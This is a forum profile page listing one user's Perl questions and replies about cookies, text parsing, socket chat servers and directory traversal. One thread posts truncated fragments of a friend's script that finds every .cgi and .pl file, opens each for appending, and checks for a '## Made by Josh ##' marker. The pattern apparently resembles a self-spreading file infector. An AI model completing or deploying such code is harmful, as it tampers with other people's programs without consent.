User Profile

Collapse

Profile Sidebar

Collapse
über
über
Last Activity: Nov 26 '08, 08:23 PM
Joined: Sep 14 '07
Location:
  •  
  • Time
  • Show
  • Source
Clear All
new posts

  • über
    started a topic set_cookie?
    in Perl

    set_cookie?

    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use HTTP::Cookies;
    use strict;
    my $ua = LWP::UserAgent->new();
    my $cookie_jar = HTTP::Cookies->new();
    $ua->cookie_jar( $cookie_jar );
    $cookie_jar->set_cookie(
      1,                     # version
      'username',            # key
      'jack',           # value
      '/',                   # path
      'http://www.example.com', # domain
    ...
    See more | Go to post

  • über
    replied to Reading unknown word on txt file
    in Perl
    I got some code now but it doesnt work
    Code:
    #!/usr/bin/perl
    
    
    $data_file="file.txt";
    open(DAT, $data_file);
    @raw_data=<DAT>;
        while (@raw_data)
        {   if (/Your name is/)
            {   print @raw_data;
            }
        }
    close(DAT);
    See more | Go to post

    Leave a comment:


  • über
    started a topic Reading unknown word on txt file
    in Perl

    Reading unknown word on txt file

    Lets say i have text file like this
    Code:
    Your name is x.
    We dont know what the "x" is. Could you do a perl script that idenflies the name and then prints it on screen? I was thinking of that u could take all the next letters in the same line where there reads "Your name is". Sorry if i dont got any code with me, this is just too complicated for me.
    See more | Go to post

  • über
    replied to converting normal server to multi-client one
    in Perl
    Here is the client script
    Code:
    #!/usr/bin/perl
    #didnt make this
    use IO::Socket::INET;
    use strict;
    
    my $name = 'localhost';
    my $port = '1584';
    
    my $socket = IO::Socket::INET->new('PeerAddr' => $name,
                                       'PeerPort' => $port,
                                       'Proto' => 'tcp')
        or die "Can't create socket ($!)\n";
    ...
    See more | Go to post

    Leave a comment:


  • über
    replied to converting normal server to multi-client one
    in Perl
    im making a chat script so clients can connect to one server and speak in there, now it works with only with 2 persons so every person who want chat would need to make own servers and get the own clients to other person servers
    and then the desktop will be full of those command prompt windows
    See more | Go to post
    Last edited by über; Oct 20 '08, 11:45 AM. Reason: desktop* not desktot

    Leave a comment:


  • über
    started a topic converting normal server to multi-client one
    in Perl

    converting normal server to multi-client one

    I have normal server code here, and i have no idea how to make it work with many clients. The server would print what one client says to every client.
    Code:
    #!/usr/bin/perl -w
    use IO::Socket::INET;
    use strict;
    
    my $port = '1584';
    
    my $socket = IO::Socket::INET->new('LocalPort' => $port,
                                       'Proto' => 'tcp',
                                       'Listen'
    ...
    See more | Go to post

  • über
    replied to Explain this code please?
    in Perl
    Ok thanks very much Kevin!
    See more | Go to post

    Leave a comment:


  • über
    replied to Explain this code please?
    in Perl
    Code:
    #!/usr/bin/perl
    ## Made by Josh ##
    use strict;
    use warnings;
    use File::Find;
    
    my $start = '.';
    find({no_chdir => 1, wanted => \&wanted}, $start);
    print "Finished";
    
    sub wanted {
       if ($File::Find::name =~ /\.(cgi|pl)$/i) {
       open (my $fh, ">>", $File::Find::name) or die "$!";
       my $filee = join("",<$fh>);
    ...
    See more | Go to post

    Leave a comment:


  • über
    replied to How to Automate the Website using perl module
    in Perl
    This might help
    Code:
    #!/usr/bin/perl
    #-----------------------------
    # GET REQUEST
    #
    use LWP::Simple;
    use URI::URL;
    
    my $url = url('http://login.yahoo.com/');
    $url->query_form(username => 'peter', password => 'secret');
    $content = get($url);
    
    #-----------------------------
    # POST REQUEST
    #
    use HTTP::Request::Common qw(POST);
    use LWP::UserAgent;
    ...
    See more | Go to post

    Leave a comment:


  • über
    replied to Explain this code please?
    in Perl
    Thanks Kevin it works very well but i would also like to know how to check if the file already got the "## Made by Josh ##"
    See more | Go to post

    Leave a comment:


  • über
    replied to Explain this code please?
    in Perl
    I will post my friends whole script now
    Code:
    #!/usr/bin/perl
    ## Made by Josh ##
            opendir(DIR, ".");
            @FILENAME = readdir(DIR);
            closedir(DIR);
             for ($s = 0; $s < @FILENAME; $s++) {
                    if (substr($FILENAME[$s], length($FILENAME[$s]) - 4) eq ".cgi" || substr($FILENAME[$s], length($FILENAME[$s]) - 3) eq ".pl") {
    ...
    See more | Go to post

    Leave a comment:


  • über
    replied to Explain this code please?
    in Perl
    How would you do it?...
    See more | Go to post

    Leave a comment:


  • über
    replied to Explain this code please?
    in Perl
    yeah i already fixed this in my first post and my friend gave it to me but he has gone to abroad so i cant contact him...
    See more | Go to post

    Leave a comment:


  • über
    replied to Explain this code please?
    in Perl
    damn i cant edit it but the script has error on the first line the $i is supposed to be $s
    See more | Go to post

    Leave a comment:


  • über
    started a topic Explain this code please?
    in Perl

    Explain this code please?

    Code:
             for ($i = 0; $s < @FILENAME; $s++) {
                    if (substr($FILENAME[$s], length($FILENAME[$s]) - 4) eq ".cgi" || substr($FILENAME[$s], length($FILENAME[$s]) - 3) eq ".pl") {
                            $PERLFILE[$ss] = $FILENAME[$s];
                            $ss++;
                    }
            }
    I would say that this scirpt idenflies some file that is it perl script file or...
    See more | Go to post

  • über
    replied to readdir in subdirs
    in Perl
    kk thanks, i will use this now, but i would still like to know how u would do it without File::Find
    See more | Go to post

    Leave a comment:


  • über
    replied to readdir in subdirs
    in Perl
    Ok now i have File::Find and found this script somewhere
    Code:
    use strict;
    use File::Find;
    @ARGV = '.' unless @ARGV;
    
    find sub {
        print "got one!\n" if m/\.mp3$/;
    }, @ARGV;
    How i could make this script work like the one i used before? Like how i could get the files found to go to @FILENAME
    See more | Go to post

    Leave a comment:


  • über
    replied to readdir in subdirs
    in Perl
    But can you do that without the File::Find?
    See more | Go to post

    Leave a comment:


  • über
    started a topic readdir in subdirs
    in Perl

    readdir in subdirs

    Hello
    Code:
    opendir(DIR, ".");
    	@FILENAME = readdir(DIR);
    	closedir(DIR);
    Now here u see a script that gets file names in dir the script is in, but how i could also readdir in every subdir the script directory has?
    See more | Go to post

  • über
    replied to How to speed up perl scripts
    in Perl
    Thanks, i just thought that if u got the script doing same thing but just with diffrent code would make it run faster but guess not then...
    See more | Go to post

    Leave a comment:

No activity results to display
Show More
Working...